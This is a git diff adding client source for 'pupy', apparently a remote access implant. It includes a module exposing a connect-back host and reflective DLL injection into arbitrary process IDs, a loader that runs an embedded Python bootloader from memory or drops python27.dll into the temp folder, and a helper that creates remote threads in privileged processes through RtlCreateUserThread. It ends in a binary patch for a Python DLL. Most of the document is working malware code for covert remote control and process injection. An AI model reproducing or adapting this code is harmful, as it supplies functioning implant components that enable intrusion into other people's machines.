cfile, '#else' + print >> cfile, '# if defined (_WIN64)' + print >> cfile, '\t{ "Py_InitModule4_64", NULL },' % locals() + print >> cfile, '# else' + print >> cfile, '\t{ "Py_InitModule4", NULL },' % locals() + print >> cfile, '# endif' + print >> cfile, '#endif' + else: + print >> cfile, '\t{ "%(name)s", NULL },' % locals() + + index += 1 + +hfile.close() +cfile.close() diff --git a/client/sources/pupy.c b/client/sources/pupy.c new file mode 100644 index 00000000..dcbc09be --- /dev/null +++ b/client/sources/pupy.c @@ -0,0 +1,76 @@ +/* + For the pupy_builtins compiled into pupy exe and reflective DLL stubs we need "Python-dynload.h". + For the standalone .pyd we need +*/ + +#include "Python-dynload.h" +#include +#include +#include "base_inject.h" +static char module_doc[] = "Builtins utilities for pupy"; + +extern const char resources_library_compressed_string_txt_start[]; +extern const int resources_library_compressed_string_txt_size; +#ifndef STANDALONE +extern char connect_back_host[100]; +#else +char connect_back_host[100] = "0.0.0.0:443"; +#endif +extern const DWORD dwPupyArch; +static PyObject *Py_get_compressed_library_string(PyObject *self, PyObject *args) +{ + return Py_BuildValue("s#", resources_library_compressed_string_txt_start, resources_library_compressed_string_txt_size); +} + +static PyObject * +Py_get_connect_back_host(PyObject *self, PyObject *args) +{ + return Py_BuildValue("s", connect_back_host); +} +static PyObject *Py_get_arch(PyObject *self, PyObject *args) +{ + if(dwPupyArch==PROCESS_ARCH_X86){ + return Py_BuildValue("s", "x86"); + } + else if(dwPupyArch==PROCESS_ARCH_X64){ + return Py_BuildValue("s", "x64"); + } + return Py_BuildValue("s", "unknown"); +} + +static PyObject * +Py_reflective_inject_dll(PyObject *self, PyObject *args) +{ + DWORD dwPid; + const char *lpDllBuffer; + DWORD dwDllLenght; + const char *cpCommandLine; + PyObject* py_is64bit; + int is64bits; + if (!PyArg_ParseTuple(args, "Is#O", &dwPid, &lpDllBuffer, &dwDllLenght, &py_is64bit)) + return NULL; + is64bits = PyObject_IsTrue(py_is64bit); + if(is64bits){ + is64bits=PROCESS_ARCH_X64; + }else{ + is64bits=PROCESS_ARCH_X86; + } + if(inject_dll( dwPid, lpDllBuffer, dwDllLenght, NULL, is64bits) != ERROR_SUCCESS) + return NULL; + return PyBool_FromLong(1); +} + +static PyMethodDef methods[] = { + { "get_connect_back_host", Py_get_connect_back_host, METH_NOARGS, "get_connect_back_host() -> (ip, port)" }, + { "get_arch", Py_get_arch, METH_NOARGS, "get current pupy architecture (x86 or x64)" }, + { "_get_compressed_library_string", Py_get_compressed_library_string, METH_VARARGS }, + { "reflective_inject_dll", Py_reflective_inject_dll, METH_VARARGS|METH_KEYWORDS, "reflective_inject_dll(pid, dll_buffer, isRemoteProcess64bits)\nreflectively inject a dll into a process. raise an Exception on failure" }, + { NULL, NULL }, /* Sentinel */ +}; + +DL_EXPORT(void) +initpupy(void) +{ + Py_InitModule3("pupy", methods, module_doc); +} + diff --git a/client/sources/pupy_load.c b/client/sources/pupy_load.c new file mode 100644 index 00000000..3ba3f51e --- /dev/null +++ b/client/sources/pupy_load.c @@ -0,0 +1,189 @@ +#define QUIET // uncomment to avoid debug prints +#include +#include +#include +#include +#include "pupy_load.h" +#include "Python-dynload.h" +#include "actctx.h" +#include "resource_python_manifest.c" +#include "base_inject.h" + + +HANDLE MyActCtx; +static ULONG_PTR actToken; + +extern const char resources_python27_dll_start[]; +extern const int resources_python27_dll_size; +extern const char resources_bootloader_pyc_start[]; +extern const int resources_bootloader_pyc_size; +extern const char resource_python_manifest[]; + +extern DL_EXPORT(void) init_memimporter(void); +extern DL_EXPORT(void) initpupy(void); + +CRITICAL_SECTION csInit; // protecting our init code + +// Simple trick to get the current pupy arch +#ifdef _WIN64 + const DWORD dwPupyArch = PROCESS_ARCH_X64; +#else + const DWORD dwPupyArch = PROCESS_ARCH_X86; +#endif + + +DWORD WINAPI mainThread(LPVOID lpArg) +{ + + int rc = 0; + PyObject *m=NULL, *d=NULL, *seq=NULL; + PyObject *mod; + char * ppath; + FILE * f; + char tmp_python_dll_path[MAX_PATH]; + char tmp_manifest_path[MAX_PATH]; + char tmp_path[MAX_PATH]; + ACTCTX ctx; + BOOL activated; + HANDLE k32; + HANDLE (WINAPI *CreateActCtx)(PACTCTX pActCtx); + BOOL (WINAPI *ActivateActCtx)(HANDLE hActCtx, ULONG_PTR *lpCookie); + void (WINAPI *AddRefActCtx)(HANDLE hActCtx); + BOOL (WINAPI *DeactivateActCtx)(DWORD dwFlags, ULONG_PTR ulCookie); + PyGILState_STATE restore_state; + + //InitializeCriticalSection(&csInit); + + k32 = LoadLibrary("kernel32"); + CreateActCtx = (void*)GetProcAddress(k32, "CreateActCtxA"); + ActivateActCtx = (void*)GetProcAddress(k32, "ActivateActCtx"); + AddRefActCtx = (void*)GetProcAddress(k32, "AddRefActCtx"); + DeactivateActCtx = (void*)GetProcAddress(k32, "DeactivateActCtx"); + + + if (!CreateActCtx || !ActivateActCtx) + { + return 0; + } + + GetTempPath(MAX_PATH, tmp_path); + ZeroMemory(&ctx, sizeof(ctx)); + ctx.cbSize = sizeof(ACTCTX); + GetTempFileName(tmp_path, "tmp", 0, tmp_manifest_path); + + + f=fopen(tmp_manifest_path,"w"); + fprintf(f,"%s",resource_python_manifest); + fclose(f); + #ifndef QUIET + printf("manifest written to %s\n",tmp_manifest_path); + #endif + ctx.lpSource = tmp_manifest_path; + + MyActCtx=CreateActCtx(&ctx); + if (MyActCtx != NULL) + { + AddRefActCtx(MyActCtx); + } + #ifndef QUIET + DeleteFile(tmp_manifest_path); + #endif + + + if(!Py_IsInitialized) + { + int res=0; + activated = ActivateActCtx(MyActCtx, &actToken); + if(!_load_python("python27.dll", resources_python27_dll_start)){ + + #ifndef QUIET + printf("loading python27.dll from memory failed\n"); + #endif + + //if loading from memory fail, we write dll on disk + sprintf(tmp_python_dll_path, "%spython27.dll", tmp_path); + + f=fopen(tmp_python_dll_path,"wb"); + res=fwrite(resources_python27_dll_start, sizeof(char), resources_python27_dll_size, f); + fclose(f); + + if(!_load_python(tmp_python_dll_path, NULL)){ + if(!_load_python("python27.dll", NULL)){ // try loading from system PATH + #ifndef QUIET + printf("could not load python dll\n"); + #endif + } + } + } + #ifndef QUIET + printf("python interpreter loaded\n"); + #endif + + ppath = Py_GetPath(); + strcpy(ppath, "\x00"); + + Py_IgnoreEnvironmentFlag = 1; + Py_NoSiteFlag = 1; /* remove site.py auto import */ + Py_Initialize(); + + #ifndef QUIET + printf("Py_Initialize()\n"); + #endif + } + + + restore_state=PyGILState_Ensure(); + PySys_SetObject("frozen", PyBool_FromLong(1)); + + init_memimporter(); + #ifndef QUIET + printf("init_memimporter()\n"); + #endif + initpupy(); + #ifndef QUIET + printf("initpupy()\n"); + #endif + + //mod = PyImport_ImportModule("sys"); + + //MessageBoxA(0, "hey ! :D", "DLL Message", MB_OK | MB_ICONINFORMATION); + + /* We execute then in the context of '__main__' */ + PyEval_InitThreads(); + #ifndef QUIET + printf("starting evaluating python code ...\n"); + #endif + //PyRun_SimpleString("print 'ok from python'"); + m = PyImport_AddModule("__main__"); + if (m) d = PyModule_GetDict(m); + if (d) seq = PyMarshal_ReadObjectFromString(resources_bootloader_pyc_start, resources_bootloader_pyc_size); + if (seq) { + Py_ssize_t i, max = PySequence_Length(seq); + for (i=0;i +#include "remote_thread.h" +/*! @brief Container structure for a client identifer used when creating remote threads with RtlCreateUserThread. */ +typedef struct _MIMI_CLIENT_ID { + PVOID UniqueProcess; + PVOID UniqueThread; +} CLIENTID; + +/*! @brief Function pointer type for the RtlCreateUserThread function in ntdll.dll */ +typedef NTSTATUS (WINAPI * PRtlCreateUserThread)(HANDLE, PSECURITY_DESCRIPTOR, BOOL, ULONG, SIZE_T, SIZE_T, PTHREAD_START_ROUTINE, PVOID, PHANDLE, CLIENTID*); +/*! @brief Reference to the loaded RtlCreateUserThread function pointer. */ +static PRtlCreateUserThread pRtlCreateUserThread = NULL; +/*! @brief Indication of whether an attempt to locate the pRtlCreateUserThread pointer has been made. */ +static BOOL pRtlCreateUserThreadAttempted = FALSE; + +/*! + * @brief Helper function for creating a remote thread in a privileged process. + * @param hProcess Handle to the target process. + * @param sStackSize Size of the stack to use (if unsure, specify 0). + * @param pvStartAddress Pointer to the function entry point that has been loaded into the target. + * @param pvStartParam Pointer to the parameter to pass to the thread function. + * @param dwCreateFlags Creation flags to use when creating the new thread. + * @param pdwThreadId Pointer to the buffer that will receive the thread ID (optional). + * @return Handle to the new thread. + * @retval NULL Indicates an error, which can be retrieved with \c GetLastError(). + * @remark This function has been put in place to wrap up the handling of creating remote threads + * in privileged processes across all operating systems. In Windows XP and earlier, the + * \c CreateRemoteThread() function was sufficient to handle this case, however this changed + * in Vista and has been that way since. For Vista onwards, the use of the hidden API function + * \c RtlCreateUserThread() is required. This function attempts to use \c CreateRemoteThread() + * first and if that fails it will fall back to \c RtlCreateUserThread(). This means that the + * existing behaviour is kept for when running on XP and earlier, or when the user is already + * running within a privileged process. + */ +HANDLE create_remote_thread(HANDLE hProcess, SIZE_T sStackSize, LPVOID pvStartAddress, LPVOID pvStartParam, DWORD dwCreateFlags, LPDWORD pdwThreadId) +{ + NTSTATUS ntResult; + BOOL bCreateSuspended; + DWORD dwThreadId; + HANDLE hThread; + + if (pdwThreadId == NULL) + { + pdwThreadId = &dwThreadId; + } + + hThread = CreateRemoteThread(hProcess, NULL, sStackSize, (LPTHREAD_START_ROUTINE)pvStartAddress, pvStartParam, dwCreateFlags, pdwThreadId); + + // ERROR_NOT_ENOUGH_MEMORY is returned when the function fails due to insufficient privs + // on Vista and later. + if (GetLastError() == ERROR_NOT_ENOUGH_MEMORY) + { + //dprintf("[REMOTETHREAD] CreateRemoteThread seems to lack permissions, trying alternative options"); + hThread = NULL; + + // Only attempt to load the function pointer if we haven't attempted it already. + if (!pRtlCreateUserThreadAttempted) + { + if (pRtlCreateUserThread == NULL) + { + pRtlCreateUserThread = (PRtlCreateUserThread)GetProcAddress(GetModuleHandleA("ntdll"), "RtlCreateUserThread"); + if (pRtlCreateUserThread) + { + //dprintf("[REMOTETHREAD] RtlCreateUserThread found at %p, using for backup remote thread creation", pRtlCreateUserThread); + } + } + pRtlCreateUserThreadAttempted = TRUE; + } + + // if at this point we don't have a valid pointer, it means that we don't have this function available + // on the current OS + if (pRtlCreateUserThread) + { + DWORD (WINAPI *fGetThreadId)(HANDLE Thread); + fGetThreadId = (void*)GetProcAddress(GetModuleHandleA("kernel32"), "GetThreadId"); + if(fGetThreadId){ + //dprintf("[REMOTETHREAD] Attempting thread creation with RtlCreateUserThread"); + bCreateSuspended = (dwCreateFlags & CREATE_SUSPENDED) == CREATE_SUSPENDED; + ntResult = pRtlCreateUserThread(hProcess, NULL, bCreateSuspended, 0, 0, 0, (PTHREAD_START_ROUTINE)pvStartAddress, pvStartParam, &hThread, NULL); + SetLastError(ntResult); + + if (ntResult == 0 && pdwThreadId) + { + *pdwThreadId = fGetThreadId(hThread); + } + } + } + else + { + // restore the previous error so that it looks like we haven't done anything else + SetLastError(ERROR_NOT_ENOUGH_MEMORY); + } + } + + return hThread; +} + + diff --git a/client/sources/remote_thread.h b/client/sources/remote_thread.h new file mode 100644 index 00000000..05b4fe2a --- /dev/null +++ b/client/sources/remote_thread.h @@ -0,0 +1,6 @@ +#ifndef _METERPRETER_REMOTE_THREAD_H +#define _METERPRETER_REMOTE_THREAD_H + +HANDLE create_remote_thread(HANDLE hProcess, SIZE_T sStackSize, LPVOID pvStartAddress, LPVOID pvStartParam, DWORD dwCreateFlags, LPDWORD pdwThreadId); + +#endif diff --git a/client/sources/resource_python_manifest.c b/client/sources/resource_python_manifest.c new file mode 100644 index 00000000..93fac5de --- /dev/null +++ b/client/sources/resource_python_manifest.c @@ -0,0 +1,35 @@ + +#ifdef _WIN64 + const char resource_python_manifest[]="\n" +"\n" +"\n" +"\n" +"\n" +"\n" +"\n" +"\n" +"\n" +"\n" +"\n" +"\n" +"\n" +"\n" +"\n"; +#else + const char resource_python_manifest[]="\n" +"\n" +"\n" +"\n" +"\n" +"\n" +"\n" +"\n" +"\n" +"\n" +"\n" +"\n" +"\n" +"\n" +"\n"; +#endif + diff --git a/client/sources/resources/iter_files.py b/client/sources/resources/iter_files.py new file mode 100644 index 00000000..5d8941ee --- /dev/null +++ b/client/sources/resources/iter_files.py @@ -0,0 +1,8 @@ +#!/usr/bin/env python +# -*- coding: UTF8 -*- + +import marshal, zlib +modules = marshal.loads(zlib.decompress(open("library_compressed_string.txt",'rb').read())) +for f in sorted([x for x in modules.iterkeys()]): + print f + diff --git a/client/sources/resources/python27_x64.dll b/client/sources/resources/python27_x64.dll new file mode 100755 index 0000000000000000000000000000000000000000..4df907489dc35e21b198fcf67571e17c3be619d1 GIT binary patch literal 3017216 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 